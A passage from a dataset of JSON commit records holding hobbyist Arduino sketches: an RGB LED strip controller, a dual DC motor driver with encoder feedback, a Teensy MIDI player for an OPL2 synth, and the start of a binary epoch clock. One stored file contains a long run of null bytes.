= atoi(val);\n if (*key == 'b') blue = atoi(val);\n if (*key == 'p') pos = atoi(val);\n \n }\n \n #ifdef DEBUG\n Serial.print(\"RGB: (\");\n Serial.print(red);\n Serial.print(\",\");\n Serial.print(green);\n Serial.print(\",\");\n Serial.print(blue);\n Serial.print(\") P: \");\n Serial.println(pos); \n #endif\n \n } else {\n \/\/ check for heartbeat message\n int heartindex = data.lastIndexOf(\"~h~\");\n #ifdef DEBUG\n Serial.print(\"Heartbeat sequence: \");\n Serial.println(data.substring(heartindex+3));\/\/ datalength-3));\n\n freeMem(\"After heartbeat: \");\n #endif\n \n } \n}\n\n\/\/ stuff here for posting colours\n\nlong get_colour(int red, int green, int blue) {\n \/\/ given an 8 bit value for a colour channel, return the\n \/\/ long version of it.\n long r = (long) red<<16;\n long g = (long) green<<8; \n long b = (long) blue; \n return (r + g + b);\n}\n\nvoid post_set(long *modules) {\n \/\/ takes the full set of modules and then posts the data appropriately\n for (int led_index =0; led_index < STRIP_LENGTH; led_index++) {\n write_to_module(modules[led_index]);\n }\n \n \/\/Pull clock low to put strip into reset\/post mode\n digitalWrite(CKI, LOW);\n delayMicroseconds(500); \/\/Wait for 500us to go into reset\n}\n\nvoid write_to_module(long led_colour) {\n \/\/ this method actually writes the colour that is provided to the module string\n \n for(byte color_bit = 23 ; color_bit != 255 ; color_bit--) {\n \/\/Feed color bit 23 first (red data MSB)\n\n digitalWrite(CKI, LOW); \/\/Only change data when clock is low\n\n long mask = 1L << color_bit;\n \/\/The 1'L' forces the 1 to start as a 32 bit number, otherwise it defaults to 16-bit.\n if(led_colour & mask) \n digitalWrite(SDI, HIGH);\n else\n digitalWrite(SDI, LOW);\n\n digitalWrite(CKI, HIGH); \/\/Data is latched when clock goes high\n }\n}\n\nvoid post_frame (int colour_id) {\n for(int LED_number = 0; LED_number < STRIP_LENGTH; LED_number++)\n {\n long this_led_color = strip_colors[LED_number]; \/\/24 bits of color data\n \n for(byte color_bit = 23 ; color_bit != 255 ; color_bit--) {\n \/\/Feed color bit 23 first (red data MSB)\n\n digitalWrite(CKI, LOW); \/\/Only change data when clock is low\n\n long mask = 1L << color_bit;\n \/\/The 1'L' forces the 1 to start as a 32 bit number, otherwise it defaults to 16-bit.\n\n if(this_led_color & mask) \n digitalWrite(SDI, HIGH);\n else\n digitalWrite(SDI, LOW);\n\n digitalWrite(CKI, HIGH); \/\/Data is latched when clock goes high\n }\n }\n\n \/\/Pull clock low to put strip into reset\/post mode\n digitalWrite(CKI, LOW);\n delayMicroseconds(500); \/\/Wait for 500us to go into reset\n}\n\n\n#ifdef DEBUG\n\/\/Code to print out the free memory\n\nstruct __freelist {\n size_t sz;\n struct __freelist *nx;\n};\n\nextern char * const __brkval;\nextern struct __freelist *__flp;\n\nuint16_t freeMem(uint16_t *biggest)\n{\n char *brkval;\n char *cp;\n unsigned freeSpace;\n struct __freelist *fp1, *fp2;\n\n brkval = __brkval;\n if (brkval == 0) {\n brkval = __malloc_heap_start;\n }\n cp = __malloc_heap_end;\n if (cp == 0) {\n cp = ((char *)AVR_STACK_POINTER_REG) - __malloc_margin;\n }\n if (cp <= brkval) return 0;\n\n freeSpace = cp - brkval;\n\n for (*biggest = 0, fp1 = __flp, fp2 = 0;\n fp1;\n fp2 = fp1, fp1 = fp1->nx) {\n if (fp1->sz > *biggest) *biggest = fp1->sz;\n freeSpace += fp1->sz;\n }\n\n return freeSpace;\n}\n\nuint16_t biggest;\n\nvoid freeMem(char* message) {\n Serial.print(message);\n Serial.print(\":\\t\");\n Serial.println(freeMem(&biggest));\n}\n\n#endif\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/colour_controlled_with_decay\/colour_controlled_with_decay.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b9a5a142ab560ef2982a660cdbc8ecf1946c3da8","subject":"init repo with old code","message":"init repo with old code\n","repos":"langfordw\/dc_motor_control,langfordw\/dc_motor_control,langfordw\/dcmotor_as_stepper","old_file":"a_star_dual_25D_motor\/a_star_dual_25D_motor.ino","new_file":"a_star_dual_25D_motor\/a_star_dual_25D_motor.ino","new_contents":"#include <low_pass_filter.h>\n#include <PinChangeInt.h>\n#include <PinChangeIntConfig.h>\n\n#define encA1 1\n#define encB1 0\n#define encA2 3\n#define encB2 2\n#define encA1_int 3\n#define encB1_int 2\n#define encA2_int 0\n#define encB2_int 1\n\nLPFilter lpfilter1, lpfilter2;\n\nvolatile long motor_pos1, motor_pos2 = 0;\nunsigned volatile long last_trig1, t_trig1, dt1;\n\nuint8_t led_pin = 13;\nuint8_t inA1 = 5;\nuint8_t inB1 = 4;\nuint8_t inA2 = 6;\nuint8_t inB2 = 7;\nuint8_t pwm1 = 10;\nuint8_t pwm2 = 9;\nuint8_t c_sense1 = A1;\nuint8_t c_sense2 = A0;\n\nint activate_state, last_activate_state = 0;\n\nuint16_t setCurrent1 = uint16_t(0.8\/0.009775); \/\/0.8 Amps\nuint16_t setCurrent2 = uint16_t(0.8\/0.009775); \/\/0.8 Amps\nfloat thisCurrent1 = 0, thisCurrent2 = 0;\nfloat motor_pwr1 = 0, motor_pwr2 = 0;\nint error1 = 0, error2 = 0;\nfloat kp1 = 20.8, kp2 = 20.8;\nfloat ki1= 2.3, ki2 = 2.3; \/\/2.3\nuint8_t max_pwm = 100;\nint sum_error;\n\nint last_t, t, dt;\nint dpos1, last_motor_pos1;\nfloat vel1, vel2;\n\nuint16_t t_start = 0;\n\nboolean off = true;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"started...\");\n \n pinMode(led_pin, OUTPUT); \n pinMode(inA1, OUTPUT);\n pinMode(inB1, OUTPUT);\n pinMode(inA2, OUTPUT);\n pinMode(inB2, OUTPUT);\n pinMode(pwm1, OUTPUT);\n pinMode(pwm2, OUTPUT);\n\n pinMode(encA1, INPUT);\n pinMode(encB1, INPUT);\n pinMode(encA2, INPUT);\n pinMode(encB2, INPUT);\n pinMode(c_sense1, INPUT);\n pinMode(c_sense2, INPUT);\n \n attachInterrupt(encA1_int, encA1trig, CHANGE);\n attachInterrupt(encA2_int, encA2trig, CHANGE);\n \n lpfilter1.init(2.5, measureCurrentInt1());\n lpfilter2.init(2.5, measureCurrentInt2());\n}\n\nvoid loop() {\n\/\/ \/\/DEBUG\n\/\/ analogWrite(pwm1, 50);\n\/\/ digitalWrite(dir1, LOW);\n\/\/ analogWrite(pwm2, 50);\n\/\/ digitalWrite(dir2, LOW);\n\/\/ driveMotor(1,-50);\n \n\/\/ digitalWrite(inA1, LOW);\n\/\/ digitalWrite(inB1, HIGH);\n\/\/ analogWrite(pwm1,50);\n\n\/\/ t = millis();\n\/\/ dt = t - last_t;\n\/\/ last_t = t;\n\/\/ \n dpos1 = last_motor_pos1 - motor_pos1;\n last_motor_pos1 = motor_pos1;\n\/\/ \n\/\/ vel1 = dpos1\/dt;\n\n if (dt1 > 5000) { dt1 = 5000; }\n int error = dt1-500;\n sum_error += error;\n sum_error = constrain(sum_error,-10000,10000);\n motor_pwr2 = 0.05*int(dt1-1000) + 0.01*sum_error;\n \n driveMotor(1,constrain(motor_pwr2,0,255));\n\n \/\/ Serial output for debugging\n Serial.print(\"M1: \");\n Serial.print(motor_pos2);\n Serial.print(\", \");\n Serial.print(motor_pwr2);\n Serial.print(\", \");\n Serial.println(dt1);\n\/\/ Serial.print(\" M2: \");\n\/\/ Serial.print(motor_pos2);\n\/\/ Serial.print(\", \");\n\/\/ Serial.print(thisCurrent2);\n\/\/ Serial.println();\n \n\/\/ \/\/ Read serial in for debugging\n\/\/ if (Serial.available()) {\n\/\/ char input = Serial.read();\n\/\/ if (input == 'u') {\n\/\/ digitalWrite(led_pin, LOW);\n\/\/ digitalWrite(dir1, HIGH);\n\/\/ digitalWrite(dir2, HIGH);\n\/\/ Serial.println(\"up\");\n\/\/ error1 = 0;\n\/\/ error2 = 0;\n\/\/ t_start = millis();\n\/\/ } else if (input == 'd') {\n\/\/ digitalWrite(led_pin, HIGH);\n\/\/ digitalWrite(dir1, LOW);\n\/\/ digitalWrite(dir2, LOW);\n\/\/ Serial.println(\"down\");\n\/\/ t_start = millis();\n\/\/ error1 = 0;\n\/\/ error2 = 0;\n\/\/ } else {\n\/\/ }\n\/\/ }\n\/\/\n\/\/ \/\/Check activate pin\n\/\/ activate_state = digitalRead(activate_pin);\n\/\/ if (activate_state != last_activate_state) {\n\/\/ \/\/Debounce\n\/\/ delay(10);\n\/\/ activate_state = digitalRead(activate_pin);\n\/\/ \/\/if it's changed...\n\/\/ if (activate_state != last_activate_state) {\n\/\/ if (activate_state) {\n\/\/ digitalWrite(led_pin, HIGH);\n\/\/ digitalWrite(dir1, LOW);\n\/\/ digitalWrite(dir2, LOW);\n\/\/ Serial.println(\"down\");\n\/\/ } else {\n\/\/ digitalWrite(led_pin, LOW);\n\/\/ digitalWrite(dir1, HIGH);\n\/\/ digitalWrite(dir2, HIGH);\n\/\/ Serial.println(\"up\");\n\/\/ }\n\/\/ last_activate_state = activate_state;\n\/\/ t_start = millis();\n\/\/ }\n\/\/ } \n\/\/ \n\/\/ \/\/ Main current control update\n\/\/ thisCurrent1 = lpfilter1.step(measureCurrentInt1());\n\/\/ error1 += setCurrent1-thisCurrent1;\n\/\/ error1 = constrain(error1,-100,100);\n\/\/ motor_pwr1 = constrain(kp1*(setCurrent1-thisCurrent1)+ki1*error1,0,max_pwm);\n\/\/ \n\/\/ thisCurrent2 = lpfilter2.step(measureCurrentInt2());\n\/\/ error2 += setCurrent2-thisCurrent2;\n\/\/ error2 = constrain(error2,-100,100);\n\/\/ motor_pwr2 = constrain(kp2*(setCurrent2-thisCurrent2)+ki2*error2,0,max_pwm);\n\/\/ \n\/\/ \/\/ stop after 1 second\n\/\/ uint16_t dt = millis()-t_start;\n\/\/ if (dt < 1000) {\n\/\/ analogWrite(pwm1, motor_pwr1);\n\/\/ analogWrite(pwm2, motor_pwr2);\n\/\/ } else {\n\/\/ analogWrite(pwm1, 0);\n\/\/ analogWrite(pwm2, 0);\n\/\/ }\n}\n\nvoid driveMotor(uint8_t which_motor, float pwr) {\n uint8_t m_pwm = constrain(abs(pwr),0,max_pwm);\n int dir = sgn(int(pwr));\n switch(which_motor) {\n case 1:\n if (dir > 0) {\n digitalWrite(inA1, HIGH);\n digitalWrite(inB1, LOW);\n } else if (dir < 0) {\n digitalWrite(inA1, LOW);\n digitalWrite(inB1, HIGH);\n } else {\n digitalWrite(inA1, HIGH);\n digitalWrite(inB1, HIGH);\n }\n analogWrite(pwm1, m_pwm);\n break;\n case 2:\n if (dir > 0) {\n digitalWrite(inA2, HIGH);\n digitalWrite(inB2, LOW);\n } else if (dir < 0) {\n digitalWrite(inA2, LOW);\n digitalWrite(inB2, HIGH);\n } else {\n digitalWrite(inA2, HIGH);\n digitalWrite(inB2, HIGH);\n }\n analogWrite(pwm2, m_pwm);\n break;\n }\n}\n\nstatic inline int8_t sgn(int val) {\n if (val < 0) return -1;\n if (val==0) return 0;\n return 1;\n}\n\nfloat measureCurrent1() {\n \/\/ 140mV\/A\n return (analogRead(c_sense1)*0.03491); \/\/adc to A\n}\n\nuint16_t measureCurrentInt1() {\n return analogRead(c_sense1);\n}\n\n\nfloat measureCurrent2() {\n \/\/ 140mV\/A\n return (analogRead(c_sense2)*0.03491); \/\/adc to A\n}\n\nuint16_t measureCurrentInt2() {\n return analogRead(c_sense2);\n}\n\nvoid encA1trig() {\n if (digitalRead(encA1) == HIGH) {\n if (digitalRead(encB1) == LOW) {\n motor_pos1++;\n } else {\n motor_pos1--;\n }\n } else {\n if (digitalRead(encB1) == LOW) {\n motor_pos1--;\n } else {\n motor_pos1++;\n }\n }\n \n\/\/ if (dt1 > 1000) { dt1 = 1000; }\n}\n\nvoid encA2trig() {\n if (digitalRead(encA2) == HIGH) {\n if (digitalRead(encB2) == LOW) {\n motor_pos2++;\n } else {\n motor_pos2--;\n }\n } else {\n if (digitalRead(encB2) == LOW) {\n motor_pos2--;\n } else {\n motor_pos2++;\n }\n }\n last_trig1 = t_trig1;\n t_trig1 = micros();\n dt1 = t_trig1 - last_trig1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'a_star_dual_25D_motor\/a_star_dual_25D_motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f720093427ce6275e42782ef469d15bc193839b","subject":"Teensy MIDI support","message":"Teensy MIDI support\n\nThe humble beginnings of a MIDI player for Teensy 2.0++ and newer. In\nrelation to #27\n\n* Handles key on, off and velocity\n* Handles program changes\n* Drums are not supported yet\n* Probably needs better instrument patches than what's currently\nincluded with the library\n* Needs more intelligent channel switching\n","repos":"DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2","old_file":"examples\/OPL2_Teensy_Midi\/OPL2_Teensy_Midi.ino","new_file":"examples\/OPL2_Teensy_Midi\/OPL2_Teensy_Midi.ino","new_contents":"#include <SPI.h>\n#include <OPL2.h>\n#include <midi_instruments.h>\n\n#define MIDI_CHANNELS 16\n#define OPL2_CHANNELS 9\n\nconst unsigned char *instruments[] = {\n PIANO1, PIANO2, PIANO3, HONKTONK, EP1, EP2, HARPSIC, CLAVIC, CELESTA, GLOCK, MUSICBOX, VIBES, MARIMBA, XYLO, TUBEBELL, SANTUR,\n ORGAN1, ORGAN2, ORGAN3, PIPEORG, REEDORG, ACORDIAN, HARMONIC, BANDNEON, NYLONGT, STEELGT, JAZZGT, CLEANGT, MUTEGT, OVERDGT, DISTGT, GTHARMS,\n ACOUBASS, FINGBASS, PICKBASS, FRETLESS, SLAPBAS1, SLAPBAS2, SYNBASS1, SYNBASS2, VIOLIN, VIOLA, CELLO, CONTRAB, TREMSTR, PIZZ, HARP, TIMPANI,\n STRINGS, SLOWSTR, SYNSTR1, SYNSTR2, CHOIR, OOHS, SYNVOX, ORCHIT, TRUMPET, TROMBONE, TUBA, MUTETRP, FRHORN, BRASS1, SYNBRAS1, SYNBRAS2,\n SOPSAX, ALTOSAX, TENSAX, BARISAX, OBOE, ENGLHORN, BASSOON, CLARINET, PICCOLO, FLUTE1, RECORDER, PANFLUTE, BOTTLEB, SHAKU, WHISTLE, OCARINA,\n SQUARWAV, SAWWAV, SYNCALLI, CHIFLEAD, CHARANG, SOLOVOX, FIFTHSAW, BASSLEAD, FANTASIA, WARMPAD, POLYSYN, SPACEVOX, BOWEDGLS, METALPAD, HALOPAD, SWEEPPAD,\n ICERAIN, SOUNDTRK, CRYSTAL, ATMOSPH, BRIGHT, GOBLIN, ECHODROP, STARTHEM, SITAR, BANJO, SHAMISEN, KOTO, KALIMBA, BAGPIPE, FIDDLE, SHANNAI,\n TINKLBEL, AGOGO, STEELDRM, WOODBLOK, TAIKO, MELOTOM, SYNDRUM, REVRSCYM, FRETNOIS, BRTHNOIS, SEASHORE, BIRDS, TELEPHON, HELICOPT, APPLAUSE\n};\n\nstruct ChannelMapping {\n byte midiChannel;\n byte midiNote;\n};\n\n\nOPL2 opl2;\nChannelMapping channelMap[OPL2_CHANNELS];\nbyte programMap[MIDI_CHANNELS];\n\nvoid setup() {\n Serial.begin(115200);\n\n usbMIDI.setHandleNoteOn(onNoteOn);\n usbMIDI.setHandleNoteOff(onNoteOff);\n usbMIDI.setHandleProgramChange(onProgramChange);\n\n opl2.init();\n for (byte i = 0; i < OPL2_CHANNELS; i ++) {\n opl2.setInstrument(i, PIANO1);\n }\n\n for (byte i = 0; i < MIDI_CHANNELS; i ++) {\n programMap[i] = 0;\n }\n}\n\n\nvoid loop() {\n usbMIDI.read();\n}\n\n\nvoid onNoteOn(byte channel, byte note, byte velocity) {\n if (channel == 10) return;\n\n for (byte i = 0; i < OPL2_CHANNELS; i ++) {\n if (!opl2.getKeyOn(i)) {\n channelMap[i].midiChannel = channel;\n channelMap[i].midiNote = note;\n \n note = max(24, min(note, 119));\n byte opl2Octave = 1 + (note - 24) \/ 12;\n byte opl2Note = note % 12;\n byte opl2Volume = ~(velocity >> 1);\n \n opl2.setInstrument(i, instruments[programMap[channel]]);\n opl2.setVolume(i, OPERATOR1, opl2Volume);\n opl2.setVolume(i, OPERATOR2, opl2Volume);\n opl2.playNote(i, opl2Octave, opl2Note);\n\n break;\n }\n }\n}\n\n\nvoid onNoteOff(byte channel, byte note, byte velocity) {\n for (byte i = 0; i < OPL2_CHANNELS; i ++) {\n if (channelMap[i].midiChannel == channel && channelMap[i].midiNote == note) {\n channelMap[i].midiChannel = 255;\n channelMap[i].midiNote = 255;\n opl2.setKeyOn(i, false);\n break;\n }\n }\n}\n\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\n\nvoid onProgramChange(byte channel, byte program) {\n programMap[channel] = program;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OPL2_Teensy_Midi\/OPL2_Teensy_Midi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70f955346800489b8728e4738fc906af03389a0b","subject":"updated version","message":"updated version","repos":"ManiacalLabs\/BinaryEpochClock,ManiacalLabs\/BinaryEpochClock,ManiacalLabs\/BinaryEpochClock,ManiacalLabs\/BinaryEpochClock","old_file":"Firmware\/BinaryEpochClock\/BinaryEpochClock.ino","new_file":"Firmware\/BinaryEpochClock\/BinaryEpochClock.ino","new_contents":"\/*\nVersion 1.1\nCopyright (c) 2013 Adam Haile, Dan Ternes & Miles Grubbs. All right reserved.\nhttp:\/\/ManiacalLabs.com\n\nMany Thanks to Adafruit and Josh Ward (Kredal) for some of the code contained within.\n*\/\n\n\/*\nPinout Information\nPC0 - PC3: Common cathode Outputs for display\nPINB0-PINB5,PIND6-PIND7: Display row anodes\nPC4 & PC5: SDA * SCL for I2C to RTC \nPIND0 & PIND1: RX & TX for Serial\nPIND2 & PIND3: Mode & Change buttons\nPIND5: Reset Enable\/Disable\n*\/\n\n#include <Wire.h>\n#include \"RTClib.h\"\n#include \"EEPROM.h\"\n\n#include \"globals.h\"\n\n\/\/Sets the individual digits of a number 0-99\nstatic void 